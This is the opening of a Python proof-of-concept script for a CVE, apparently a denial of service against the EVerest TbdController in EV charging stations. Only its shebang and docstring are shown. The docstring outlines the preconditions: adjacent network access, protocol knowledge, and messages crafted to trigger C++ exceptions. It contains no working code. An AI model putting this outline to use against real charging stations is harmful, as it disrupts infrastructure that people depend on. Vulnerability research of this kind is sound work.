#!/usr/bin/env python3 """ CVE-2025-68135 PoC - EVerest TbdController DoS Note: This is a conceptual PoC. Actual exploitation requires: 1. Network access to the EV charging station (AV:A) 2. Understanding of SDP/ISO15118-20 protocol implementation 3. Crafting messages that trigger C++ exceptions in TbdController This PoC demonstrates the attack concept for educational purposes only.
